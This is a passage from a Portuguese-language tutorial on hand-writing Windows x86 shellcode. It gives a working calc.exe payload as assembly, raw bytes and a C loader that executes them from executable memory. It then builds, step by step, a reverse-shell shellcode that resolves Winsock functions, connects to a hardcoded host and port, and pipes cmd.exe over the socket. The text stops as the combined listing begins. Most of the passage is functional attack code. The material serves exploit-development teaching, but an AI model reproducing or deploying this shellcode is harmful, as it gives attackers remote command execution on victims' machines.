    mov eax, [eax + 0x14]   ;movendo o offset da InMemoryOrderModuleList (LDR + 0x014) para eax
    mov eax, [eax]          ;carregando o endereço efetivo do primeiro modulo - o executavel em si
    mov eax, [eax]          ;carregando o endereço efetivo do segundo modulo - ntdll.dll
    mov eax, [eax + 0x10]   ;carregando o endereço base do terceiro modulo - kernel32.dll

    ;enviando nome da função para stack
    xor edx, edx                ;zerando o registrador
    push 0x4e636578             ;movendo Ncex para stack
    sub word [esp + 0x3], 0x4e  ;removendo o "N"
    push 0x456e6957             ;movendo EniW para stack
    ;encontrando o endereço da Export Table e armazenando em edx
    mov edx, [eax + 0x3c]       ;conteudo de 0x3c é f8 e foi movido para edx
    add edx, eax                ;adicionado o endereço base da kernel32 a f8, edx = 0x757000f8
    mov edx, [edx + 0x78]       ;adicionado 0x78 (170 - f8) para obter o RVA de Image Export Directory, edx = 0x93df0
    add edx, eax                ;adicionado o endereço base da kernel32 para obter o endereço base de Image Export Directory, edx = 0x75793df0
    ;encontrando o endereço da Export Name Pointer table e armazenando em ecx
    mov ecx, [edx + 0x20]       ;adicionadno 0x20 a 0x75793df0 para obter o RVA da Export Name Pointer Table, ecx = 0x957c4
    add ecx, eax                ;adicionado o endereço base da kernel32 para obter o endereço base de Export Name Pointer Table, ecx = 0x757957c4
    mov [ebp-4], ecx            ;movendo o endereço base de Export Name Pointer Table para a variavel [ebp-4]
    ;encontrando o endereço de Export Address table e armazenando em edx
    mov edx, [edx + 0x1c]       ;adicionando 0x1c a 0x75793df0 para obter o RVA da Export Address Table, edx = 0x93e18
    add edx, eax                ;adicionado o endereço base da kernel32 para obter o endereço base de Export Address Table, edx = 0x75793e18

;encontrando o endereço da WinExec na kernel32.dll com loop
    xor ebx, ebx                    ;zerando o registrador para uso no loop
findproc:

    xor ecx, ecx            ;zerando o registrador para ser usado em comparações de string
    mov esi, esp            ;movendo WinExec da stack para esi
    mov edi, [ebp-4]        ;movendo o endereço base da Export Name Pointer Table para edi, edi = 0x757957c4
    mov edi, [edi + ebx*4]  ;endereço base da Export Name Pointer Table + valor ordinal * 4, edi = RVA do função buscada pelo nome
    add edi, eax            ;adicionando o endereço base da kernel32 ao RVA da função
    add cx, 4               ;movendo o comprimento da string WinExec para cx: WinExec = 7 bytes = 4 WORD
    repe cmpsw              ;compara o numero de WORDS no registrador cx da esquerda para direita com edi e esi, armazena a saída na flag ZF
    jz findaddr             ;pula para findaddr e quebra o loop se a flag ZE for TRUE
    inc ebx                 ;incrementa o contador que contém o ordinal
    loop findproc           ;loop no findproc
findaddr:

Podemos compilar o programa no Windows:

> nasm -f win32 searchfunction.asm
> ld -m i386pe searchfunction.obj -o searchfunction.exe

Se executarmos o programa no x32dbg veremos a seguinte inconsistência:

O valor de ebx que foi utilizado para fazer o loop é 627 quando precisava ser 628 que é o valor ordinal inicial da função WinExec. Para entendermos este comportamento inconsistente, vamos analisar novamente duas tabelas.

Se olharmos para a Export Ordinal Table veremos que seu valor ordinal começa em 004 AcquireSRWLockExclusive e continua sendo incrementado de 1 em 1 para cada função:

Então, se rolarmos até encontrar a função WinExec, veremos que seu valor ordinal final é 0629 e o inicial 0628:

Em tese, poderíamos resolver este problema, se o nosso contador em ebx começasse em 4 e fosse incrementado a partir daí, mas isso só funcionaria se os valores ordinais estivessem em ordem cronológica em todas as tabelas. Na EXPORT Ordinal Table os valores ordinais começam em 4, já na EXPORT Address Table eles começam em 1:

Se analisarmos a EXPORT Ordinal Table em busca dos 3 primeiros valores da EXPORT Address Table (BaseThreadInitThunk, InterlockedPushListSList e Wow64Transition), veremos que eles foram inseridos por ordem alfabética e não por ordinal:

E é exatamente por este motivo que a EXPORT Ordinal Table começa em 004 e não em 001, portanto nosso contador precisa de um ajuste.

Para corrigir o problema usaremos o mesmo loop do programa, e uma vez que a string for encontrada em EXPORT Ordinal Table, simplesmente corrigiremos adicionando 1 ou 2 inteiros, no nosso caso será 1. Então o código completo fica:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
global _start

section .text

_start:

    xor eax, eax            ;zerando o registrador
    mov eax, [fs:0x30]      ;movendo o offset da PEB de fs (File Segment) para eax
    mov eax, [eax + 0x0c]   ;movendo o offset da LDR (PEB + 0x00c) para eax
    mov eax, [eax + 0x14]   ;movendo o offset da InMemoryOrderModuleList (LDR + 0x014) para eax
    mov eax, [eax]          ;carregando o endereço efetivo do primeiro modulo - o executavel em si
    mov eax, [eax]          ;carregando o endereço efetivo do segundo modulo - ntdll.dll
    mov eax, [eax + 0x10]   ;carregando o endereço base do terceiro modulo - kernel32.dll

    ;enviando nome da função para stack
    xor edx, edx                ;zerando o registrador
    push 0x4e636578             ;movendo Ncex para stack
    sub word [esp + 0x3], 0x4e  ;removendo o "N"
    push 0x456e6957             ;movendo EniW para stack
    ;encontrando o endereço da Export Table e armazenando em edx
    mov edx, [eax + 0x3c]       ;conteudo de 0x3c é f8 e foi movido para edx
    add edx, eax                ;adicionado o endereço base da kernel32 a f8, edx = 0x757000f8
    mov edx, [edx + 0x78]       ;adicionado 0x78 (170 - f8) para obter o RVA de Image Export Directory, edx = 0x93df0
    add edx, eax                ;adicionado o endereço base da kernel32 para obter o endereço base de Image Export Directory, edx = 0x75793df0
    ;encontrando o endereço da Export Name Pointer table e armazenando em ecx
    mov ecx, [edx + 0x20]       ;adicionadno 0x20 a 0x75793df0 para obter o RVA da Export Name Pointer Table, ecx = 0x957c4
    add ecx, eax                ;adicionado o endereço base da kernel32 para obter o endereço base de Export Name Pointer Table, ecx = 0x757957c4
    mov [ebp-4], ecx            ;movendo o endereço base de Export Name Pointer Table para a variavel [ebp-4]
    ;encontrando o endereço de Export Address table e armazenando em edx
    mov edx, [edx + 0x1c]       ;adicionando 0x1c a 0x75793df0 para obter o RVA da Export Address Table, edx = 0x93e18
    add edx, eax                ;adicionado o endereço base da kernel32 para obter o endereço base de Export Address Table, edx = 0x75793e18

;encontrando o endereço da WinExec na kernel32.dll com loop
        xor ebx, ebx                    ;zerando o registrador para uso no loop
findproc:

    xor ecx, ecx            ;zerando o registrador para ser usado em comparações de string
    mov esi, esp            ;movendo WinExec da stack para esi
    mov edi, [ebp-4]        ;movendo o endereço base da Export Name Pointer Table para edi, edi = 0x757957c4
    mov edi, [edi + ebx*4]  ;endereço base da Export Name Pointer Table + valor ordinal * 4, edi = RVA do função buscada pelo nome
    add edi, eax            ;adicionando o endereço base da kernel32 ao RVA da função
    add cx, 4               ;movendo o comprimento da string WinExec para cx: WinExec = 7 bytes = 4 WORD
    repe cmpsw              ;compara o numero de WORDS no registrador cx da esquerda para direita com edi e esi, armazena a saída na flag ZF
    jz findaddr             ;pula para findaddr e quebra o loop se a flag ZE for TRUE
    inc ebx                 ;incrementa o contador que contém o ordinal
    loop findproc           ;loop no findproc
findaddr:

    add ebx, 1              ;aplicando a correção no contador de ebx
    mov edi, [edx + ebx*4]  ;corrigindo o valor de edi
    add eax, edi            ;;#adicione o endereço base do kerneldll32 ao endereço acima para obter o endereço WinExec

Ao executarmos no x32dbg veremos que o endereço da função WinExec agora está armazenada no registrador eax.

Uma vez que temos o endereço da WinExec armazenado em um registrador, o que precisamos é enviar seus argumentos para a stack e fazer a chamada. O último trecho de código fica:

1
2
3
4
5
6
7
8
9
10
11
12
13
callcalc:

    push ecx            ;String terminator 0x00 para "calc.exe"
    push 0x6578652e     ;exe.
    push 0x636c6163     ;clac

    mov ebx, esp        ;salvando o ponteiro para a string "calc.exe" em ebx

    ; UINT WinExec([in] LPCSTR lpCmdLine, [in] UINT   uCmdShow);
    inc  ecx            ;uCmdShow = 1
    push ecx            ;uCmdShow *ptr para stack na posição 2 - LIFO
    push ebx            ;lpcmdLine *ptr para stack na posição 1
    call eax            ;invocando WinExec de eax

Agora podemos compilar o programa no próprio Linux:

1
2
3
$ nasm -f elf shellcodecalc.asm
$ ld -m elf_i386 -o shellcodecalc shellcodecalc.o
$ objdump -M intel -d shellcodecalc

Utilizando o mesmo oneliner de antes, obtemos a string com o shellcode:

1
for i in $(objdump -d shellcodecalc | grep '^ ' | cut -f2);do echo -n '\x'$i;done;echo

Inserindo o shellcode no programa de teste, temos o seguinte resultado:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

unsigned char shellcode[] =
"\x31\xc0\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x40\x14\x8b\x00\x8b\x00\x8b\x40\x10\x31\xd2\x68\x78\x65\x63\x4e\x66\x83\x6c\x24\x03\x4e\x68\x57\x69\x6e\x45\x8b\x50\x3c\x01\xc2\x8b\x52\x78\x01\xc2\x8b\x4a\x20\x01\xc1\x89\x4d\xfc\x8b\x52\x1c\x01\xc2\x31\xdb\x31\xc9\x89\xe6\x8b\x7d\xfc\x8b\x3c\x9f\x01\xc7\x66\x83\xc1\x04\xf3\x66\xa7\x74\x03\x43\xe2\xe8\x83\xc3\x01\x8b\x3c\x9a\x01\xf8\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff\xd0";
int main() {
    size_t shellcode_size = sizeof(shellcode) - 1;

    void *exec_mem = VirtualAlloc(0, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (exec_mem == NULL) {
        fprintf(stderr, "Falha na alocação de memória.\n");
        exit(EXIT_FAILURE);
    }

    memcpy(exec_mem, shellcode, shellcode_size);

    void (*func)() = (void(*)())exec_mem;
    func();

    return 0;
}

E podemos compilá-lo:

1
i686-w64-mingw32-gcc winshelltest.c -o winshelltest.exe

Ao executarmos o programa, o shellcode é ativado, abrindo a calculadora.

Desenvolvendo o shellcode, Exemplo 2 - Reverse Shell

Este exemplo se encaixa muito bem no cenário de exploração, talvez não da forma crua que o exemplo explorará, mas em seu ponto mais primitivo. Injetar um shellcode para obter acesso remoto, é, na maioria das vezes, o objetivo principal de um exploit.

Para atingirmos esta finalidade, basicamente será necessário unir vários passos abordados até o momento deste artigo, pois além da descoberta de endereços-base de bibliotecas como a kernel32.dll, á preciso carregar outras DLLs que não são carregadas normalmente como a ws2_32.dll responsável por criar conexões socket. Sumarizando os passos, é preciso:

  1. Encontrar o endereço da kernel32.dll e armazená-lo em algum lugar para uso recorrente;
  2. Encontrar o endereço da função GetProcAddress() e armazená-lo em algum lugar para uso recorrente;
  3. Encontrar o endereço da função LoadLibrary();
  4. Utilizando a função LoadLibrary() carregaremos a biblioteca ws2_32.dll e armazenaremos seu endereço em algum lugar para uso recorrente;
  5. Utilizar a função GetProcAddress() na ws2_32.dll para encontrar o endereço da função WSAStartup();
  6. Utilizar a função GetProcAddress() na ws2_32.dll para encontrar o endereço da função WSASocketA();
  7. Utilizar a função GetProcAddress() na ws2_32.dll para encontrar o endereço da função Connect();
  8. Encontrar o endereço da função CreateProcessA() utilizando GetProcAddress() e o endereço da kernel32.dll;
  9. Chamar o processo cmd.exe no socket aberto com a função Connect() utilizando a CreateProcessA();
  10. Chamar a função ExitProcess() utilizando GetProcAddress() e o endereço da kernel32.dll.

Algumas considerações devem ser consideradas na construção deste shellcode: muitas funções de APIs do Windows, automaticamente armazenam suas respostas no registrador EAX, isso significa que devemos evitá-lo para armazenar endereços e ponteiros que tem uso recorrente.

Um exemplo, é a função WSAStartup, que se obtiver sucesso em sua execução, retornará zero no registrador EAX.

1
2
3
4
int WSAStartup(
  [in]  WORD      wVersionRequired,
  [out] LPWSADATA lpWSAData
);

Já a função WSASocketA tem um funcionamento similar à syscall socket no Linux.

1
2
3
4
5
6
7
8
SOCKET WSAAPI WSASocketA(
  [in] int                 af,
  [in] int                 type,
  [in] int                 protocol,
  [in] LPWSAPROTOCOL_INFOA lpProtocolInfo,
  [in] GROUP               g,
  [in] DWORD               dwFlags
);

Esta função precisa de todos os argumentos, portanto é preciso enviá-los em ordem inversa para a stack antes de chamá-la. Lendo o manual temos os seguintes argumentos:

  • dwFlags=NULL
  • g=NULL
  • lpProtocolInfo=NULL
  • o protocolo precisa ser IPPROTO_TCP portanto=6
  • o tipo precisa ser SOCK_STREAM portanto=1
  • a família de endereço precisa ser AF_INET portanto=2

A função Connect estabelece uma conexão com o socket especificado.

1
2
3
4
5
int WSAAPI connect(
  [in] SOCKET         s,
  [in] const sockaddr *name,
  [in] int            namelen
);

O shellcode

Inicialmente, utilizaremos boa parte da base do exemplo anterior, porém, ao invés de procurarmos pela função WinExec(), procuraremos pela GetrProcAddress() com o cuidado para não armazenarmos nada em EAX desta vez:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
global _start

section .text

_start:

getKernel32:

    xor eax, eax            ;zerando o registrador
    mov eax, [fs:0x30]      ;movendo o offset da PEB de fs (File Segment) para eax
    mov eax, [eax + 0x0c]   ;movendo o offset da LDR (PEB + 0x00c) para eax
    mov eax, [eax + 0x14]   ;movendo o offset da InMemoryOrderModuleList (LDR + 0x014) para eax
    mov eax, [eax]          ;carregando o endereço efetivo do primeiro modulo - o executavel em si
    mov eax, [eax]          ;carregando o endereço efetivo do segundo modulo - ntdll.dll
    mov ebx, [eax + 0x10]   ;carregando o endereço base do terceiro modulo - kernel32.dll

getProcAddress:

    ;enviando nome da função para stack
    xor edx, edx                ;zerando o registrador
    push 0x4e4e7373             ;movendo NNss para stack
    sub word [esp + 0x2], 0x4e4e ;removendo o "NN"
    push 0x65726464             ;movendo erdd para stack
    push 0x41636f72             ;movendo Acor para stack
    push 0x50746547             ;movendo PteG para stack
    ;encontrando o endereço da Export Table e armazenando em edx
    mov edx, [ebx + 0x3c]       ;conteudo de 0x3c é f8 e foi movido para edx
    add edx, ebx                ;adicionado o endereço base da kernel32 a f8
    mov edx, [edx + 0x78]       ;adicionado 0x78 (170 - f8) para obter o RVA de Image Export Directory
    add edx, ebx                ;adicionado o endereço base da kernel32 para obter o endereço base de Image Export Directory
    ;encontrando o endereço da Export Name Pointer table e armazenando em ecx
    mov ecx, [edx + 0x20]       ;adicionadno 0x20 para obter o RVA da Export Name Pointer Table
    add ecx, ebx                ;adicionado o endereço base da kernel32 para obter o endereço base de Export Name Pointer Table
    mov [ebp-4], ecx            ;movendo o endereço base de Export Name Pointer Table para a variavel [ebp-4]
    ;encontrando o endereço de Export Address table e armazenando em edx
    mov edx, [edx + 0x1c]       ;adicionando 0x1c para obter o RVA da Export Address Table
    add edx, ebx                ;adicionado o endereço base da kernel32 para obter o endereço base de Export Address Table

;encontrando o endereço da GetrProcAddress na kernel32.dll com loop
        xor eax, eax                    ;zerando o registrador para uso no loop
findproc:

    xor ecx, ecx            ;zerando o registrador para ser usado em comparações de string
    mov esi, esp            ;movendo GetrProcAddress da stack para esi
    mov edi, [ebp-4]        ;movendo o endereço base da Export Name Pointer Table para edi
    mov edi, [edi + eax*4]  ;endereço base da Export Name Pointer Table + valor ordinal * 4, edi = RVA do função buscada pelo nome
    add edi, ebx            ;adicionando o endereço base da kernel32 ao RVA da função
    add cx, 7               ;movendo o comprimento da string GetrProcAddress para cx: GetProcAddress = 14 bytes = 7 WORD
    repe cmpsw              ;compara o numero de WORDS no registrador cx da esquerda para direita com edi e esi, armazena a saída na flag ZF
    jz findaddr             ;pula para findaddr e quebra o loop se a flag ZE for TRUE
    inc eax                 ;incrementa o contador que contém o ordinal
    loop findproc           ;loop no findproc
findaddr:

    add eax, 2              ;aplicando a correção no contador de ebx
    mov edi, [edx + eax*4]  ;corrigindo o valor de edi
    add edi, ebx            ;adicione o endereço base do kerneldll32 ao endereço acima para obter o endereço GetProcAddress
    mov ebp, edi            ;carregando o endereço da GetProcAddress em ebp

Se compilarmos o programa neste ponto e executarmos com o x32dbg veremos que, ao finalizar, temos o endereço base da kernel32.dll em EBX e o endereço da GetProcAddress() em EBP.

A função GetProcAddress() tem o seguinte formato:

1
2
3
4
FARPROC GetProcAddress(
  [in] HMODULE hModule,
  [in] LPCSTR  lpProcName
);

Que pode se resumir em:

1
GetProcAddress("biblioteca", "função")

Uma característica importante desta função, é o fato deu que o ponteiro para a função encontrada, é automaticamente carregado para EAX quando a função GetProcAddress tem sucesso.

Com as informações obtidas, podemos procurar a função LoadLibraryA() dentro da kernel32.dll.

1
2
3
4
5
6
7
8
9
10
loadLibraryA:

	xor ecx, ecx    ;zerando o registrador
	push ecx        ;enviando 0x0 como string terminator
	push 0x41797261 ;enviando Ayra para stack
	push 0x7262694c ;enviando rbiL para Stack
	push 0x64616f4c ;enviando daoL para stack
	push esp        ;enviando ponteiro da string para stack
	push ebx        ;enviando ponteiro da kernel32.dll para stack
	call ebp        ;chamando GetProcAddress("kernel32.dll", "LoadLibraryA")

Neste ponto, ao executar o programa, temos o ponteiro para LoadLibraryA() em EAX.

Agora podemos carregar qualquer biblioteca que precisarmos, portanto, podemos agora encontrar o ponteiro para a ws2_32.dll e salvá-lo para encontrar todas as funções necessárias para a conexão socket.

1
2
3
4
5
6
7
8
ws2_32:

	push 0x4e4e3233              ;movendo NN32 para stack
	sub word [esp + 0x2], 0x4e4e ;removendo o "NN"
	push 0x5f327377              ;movendo _2sw para stack
	push esp                     ;movendo ponteiro da string para a stack
	call eax                     ;chamando LoadLibraryA(ws2_32)
	mov esi, eax                 ;salvando ponteiro para ws2_32 para uso recorrente

Neste ponto, ao executar o programa, teremos o ponteiro para ws2_32.dll em EAX.

Estes são os pré-requisitos para montarmos e chamarmos todas as funções necessárias, portanto, seguindo o passo-a-passo listado, vamos encontrar o endereço da função WSAStartup().

1
2
3
4
5
6
7
8
9
WSAStartup:

	push 0x4e4e7075              ;movendo NNpu para stack
	sub word [esp + 0x2], 0x4e4e ;removendo o "NN"
	push 0x74726174              ;movendo trat para stack
	push 0x53415357              ;movendo SASW para stack
	push esp                     ;movendo ponteiro da string para a stack
	push esi                     ;movendo ponteiro da ws2_32 para esi
	call ebp                     ;chamando GetProcAddress("ws2_32.dll", "WSAStartup")

Neste ponto, temos o ponteiro para WSAStartup() em EAX.

Analisando o código de exemplo na documentação da WSAStartup(), podemos ver que ela pode assumir o formato:

1
WSAStartup(MAKEWORD(2, 2), wsadata_pointer)

Ela também precisa de um ponteiro para WSADATA, pois a WSAStartup() retorna um ponteiro para esta estrutura, portanto, precisamos alocar certo espaço para ela.

1
2
3
4
5
6
7
8
WSAStartupCall:

	xor edx, edx    ;zerando registrador
	mov dx, 0x190   ;preparando espaço para WSADATA
	sub esp, edx    ;alocando o espaço para WSADATA
	push esp        ;movendo ponteiro para este espaço
	push edx        ;enviando o parametro wVersionRequested para stack
	call eax        ;chamando WSAStartup(MAKEWORD(2, 2), wsadata_pointer)

Conforme vimos antes, quando esta função é executada com sucesso, ela retorna zero no registrador EAX.

A próxima função a ser encontrada, é a WSASocketA(), podendo seguir os mesmos passos.

1
2
3
4
5
6
7
8
9
WSASocketA:

	push 0x4e4e4174              ;movendo NNAt para stack
	sub word [esp + 0x2], 0x4e4e ;removendo o "NN"
	push 0x656b636f              ;movendo ekco para stack
	push 0x53415357              ;movendo SASW para stack
	push esp                     ;movendo ponteiro da string para a stack
	push esi                     ;movendo ponteiro da ws2_32 para esi
	call ebp                     ;chamando GetProcAddress("ws2_32.dll", "`WSASocketA")

Neste ponto, temos o ponteiro para WSASocketA() em EAX.

Agora podemos montar a estrutura da função na stack e chamá-la.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
WSASocketACall:

	xor edx, edx    ;zerando registrador
	push edx        ;dwFlags=NULL
	push edx        ;g=NULL
	push edx        ;lpProtocolInfo=NULL
	mov dl, 0x6     ;edx==6
	push edx        ;protocol=6
	sub dl, 0x5     ;edx==1
	push edx        ;type=1
	inc edx         ;edx==2
	push edx        ;af=2
	call eax        ;call WSASocketA
	push eax        ;enviando retorno para stack
	pop edi         ;salvando socket em edi

A próxima função a ser encontrada é a connect() que fará a conexão com o socket do listener.

1
2
3
4
5
6
7
8
Connect:

	push 0x4e746365            ;movendo Ntce para stack
	sub word [esp + 0x3], 0x4e ;removendo o "N"
	push 0x6e6e6f63            ;movendo nnoc para stack
	push esp                   ;movendo ponteiro da string para a stack
	push esi                   ;movendo ponteiro da ws2_32 para esi
	call ebp                   ;chamando GetProcAddress("ws2_32.dll", "connect")

Neste ponto, o ponteiro para a função connect() está armazendo em EAX.

Para montar a função connect(), precisamos do socket listener que deve ser composto por IP e Porta, porém, estes valores devem estar em little endian e em hexadecimal. O IP de testes que utilizarei, é 192.168.71.128, portanto, para convertê-lo de forma rápida no terminal, utilizei:

1
2
$ printf "0x%02X%02X%02X%02X\n" 128 71 168 192
0x8047A8C0

Porém, para evitar bytes nulos, faremos uma operação de adicionar 0x01010101 a este valor:

1
2
$ printf "0x%X\n" $(("0x8047A8C0" + "0x01010101"))
0x8148A9C1

A porta que utilizarei, será 8443, portanto:

1
2
$ printf "0x%X\n" 8443
0x20FB

Com isso podemos montar a estrutura da função na stack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ConnectCall:

	 mov edx, 0x8148A9C1    ;movendo 192.168.71.128 + 0x01010101 para a stack
	 sub edx, 0x01010101    ;subtraindo 0x01010101
	 push edx               ;movendo ponteiro da sin_addr para a stack
	 push word 0xFB20       ;movendo porta 8443 = 0x20FB para a stack
	 xor edx, edx
	 mov dl, 2
	 push dx
	 mov edx, esp
	 push byte 0x10         ;limpando stack
	 push edx               ;enviando ponteiro para sockaddr_in
	 push edi               ;enviando ponteiro do socket
	 call eax               ;chamando connect

Agora, ao executar o programa no alvo, como listener aberto na máquina atacante, é possível perceber uma conexão recebida:

Com o socket pronto, precisamos criar um processo que executará o cmd.exe (ou qualquer outro que quiser). Para isso, vamos encontrar o endereço da função CreateProcessA() que tem justamente a função de iniciar qualquer executável.

Agora eu recomendo fortemente que a documentação da CreateProcessA seja lida, pois esta é uma função de extrema importância na criação de shellcodes e exploits.

1
2
3
4
5
6
7
8
9
10
11
CreateProcessA:

	push 0x4e4e4173              ;movendo NNAs para stack
	sub word [esp + 0x2], 0x4e4e ;removendo o "NN"
	push 0x7365636f              ;movendo seco para stack
	push 0x72506574              ;movendo rPet para stack
	push 0x61657243              ;movendo aerC para stack
	push esp                     ;movendo ponteiro da string para a stack
	push ebx                     ;movendo ponteiro da kernel32 para esi
	call ebp                     ;chamando GetProcAddress("kernel32.dll", "CreateProcessA")
	mov esi, ebx                 ;salvando kernel32 em um novo ponteiro

Agora temos a função CreateProcessA() no registrador EAX e o endereço da kernel32.dll salvo em ESI. Esta mudança ocorreu, pois para a criação do processo, precisaremos utilizar o registrador EBX, e ainda precisaremos do endereço base em um próximo passo.

A função CreateProcessA() tem uma estrutura grande e exige bastante atenção em sua montagem em um shellcode. De acordo com a sua documentação, possui o seguinte formato:

1
2
3
4
5
6
7
8
9
10
11
12
BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

Como pode ser visto, alguns argumentos são opcionais, porém, um em específico merece atenção: LPSTARTUPINFOA.

A estrutura STARTUPINFOA contém uma série de argumentos que definem como o processo será executado na interface Windows. Por se tratar da execução de um CMD, nem todos os argumentos precisam ser inicializados, porém, todos precisam estar presentes na construção da estrutura, mesmo que sejam nulos.

A STARTUPINFOA tem o seguinte formato com 18 argumentos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
typedef struct _STARTUPINFOA {
  DWORD  cb;
  LPSTR  lpReserved;
  LPSTR  lpDesktop;
  LPSTR  lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

Para fins de detalhe, as próximas partes do programa responsável por montar a estrutura da CreateProcessA() será dividido e comentado.

1
2
3
4
5
cmd:

	push 0x4e646d63            ;movendo Ndmc para stack
	sub word [esp + 0x3], 0x4e ;removendo o "N"
	mov ebx, esp               ;movendo ponteiro da string para a stack

Neste ponto, preenchemos o argumento do processo a ser inicializado pela função CreateProcessA(). Agora precisamos preparar a estrutura da STARTUPINFOA na stack.

1
2
3
4
5
6
7
8
9
10
11
12
	;configurando a estrutura STARTUPINFO
	push edi                   ;preenchendo o argumento hStdError com o socket
	push edi                   ;preenchendo o argumento hStdOutput com o socket
	push edi                   ;preenchendo o argumento hStdInput com o socket
	xor edi, edi               ;limpando edi par usar com os NULLs que precisamos
	push byte 0x12             ;enviaremos 18 * 4 = 72 null bytes para stack (tamanho da estrutura da STARTUPINFOA)
	pop ecx                    ;preparando ecx para o loop

looper:

	push edi                         ;enviando uma dword null para stack
	loop looper                      ;fazendo o loop até enviar para stack os nulls suficientes

Neste trecho, enviamos EDI três vezes para a stack, para enviar o file descriptor do nosso socket para os argumentos hStdError, hStdOutput e hStdInput da STARTUPINFOA.

Em seguida, enviamos 0x12 = 18 para a stack para ser vir de contador, assim podemos fazer o loop de NULLs, criando uma estrutura vazia para STARTUPINFOA que tem 18 argumentos (dos quais já preenchemos 3) e para a PPROCESS_INFORMATION que tem 3 argumentos. Isso faz com que nenhum argumento destas estruturas sejam inicializados nesse momento. Porém, existem argumentos que precisam ser inicializados.

Uma vez que a stack cresce inversamente, e já temos uma estrutura com 18 argumentos nulos, podemos preencher estes argumentos de forma retroativa referenciando seus endereços como mov word [esp + offset], valor. Portanto, inicializaremos os argumentos desta forma.

1
2
3
	mov word [esp + 0x3c], 0x0101    ;configurando dwFlags para STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
	mov byte [esp + 0x10], 0x44      ;configurando cb com o tamanho da estrutura 0x44 = 68 decimal
	lea ecx, [esp + 0x10]            ;configurando ecx como um ponteiro para a estrutura STARTUPINFO

Estes argumentos são os que precisam ser inicializados na estrutura STARTUPINFOA. A estrutura PPROCESS_INFORMATION já está preenchida com nulos e pode ficar desta forma. O que temos neste momento é o registrador ECX apontando para a estrutura STARTUPINFOA já inicializada e ESP apontando para PPROCESS_INFORMATION.

Uma vez que as estruturas estão preenchidas, podemos agora, de fato, montar a função CreateProcessA() na stack e chamá-la:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
	;montando e chamando CreateProcessA
	push esp                         ;enviando ponteiro da PROCESS_INFORMATION para stack
	push ecx                         ;enviando ponteiro da STARTUPINFOA para stack
	push edi                         ;argumento lpCurrentDirectory será NULL então o processo inicializará no mesmo diretório do processo pai
	push edi                         ;argumento lpEnvironment será NULL então o processo terá o mesmo ambiente do processo pai
	push edi                         ;argumento dwCreationFlags será NULL
	inc edi                          ;edi==1
	push edi                         ;argumento bInheritHandles=TURE
	dec edi                          ;edi==0
	push edi                         ;argumento lpThreadAttributes será NULL
	push edi                         ;argumento lpProcessAttributes será NULL
	push ebx                         ;argumento lpCommandLine apontará para "cmd,0"
	push edi                         ;argumento lpApplicationName será NULL
	call eax                         ;chamando CreateProcessA

Nesse ponto, o reverse shell está configurado, o ultimo detalhe a ser configurado é a chamada para ExitProcess() para o programa ser encerrado sem risco de crash. Uma vez que sabemos que esta função está dentro de kernel32.dll e seu argumento é zero, podemos encontrar seu endereço e chamá-la da seguinte forma:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ExitProcess:

	push 0x4e737365            ;movendo Nsse para stack
	sub word [esp + 0x3], 0x4e ;removendo o "N"
	push 0x636f7250            ;movendo corP para stack
	push 0x74697845            ;movendo tixE para stack
	push esp                   ;movendo ponteiro da string para a stack
	push esi                   ;movendo ponteiro da kernel32 para esi
	call ebp                   ;chamando GetProcAddress("kernel32.dll", "ExitProcess")

	;chamando ExitProcess
	xor ecx, ecx               ;zerando registrador
	push ecx                   ;enviando 0x00 para stack
	call eax                   ;chamando ExitProcess

Juntando todas as partes desenvolvidas, temos o seguinte shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
global _start

section .text

_start:

getKernel32:

    xor eax, eax            ;zerando o registrador
    mov eax, [fs:0x30]      ;movendo o offset da PEB de fs (File Segment) para eax
    mov eax, [eax + 0x0c]   ;movendo o offset da LDR (PEB + 0x00c) para eax
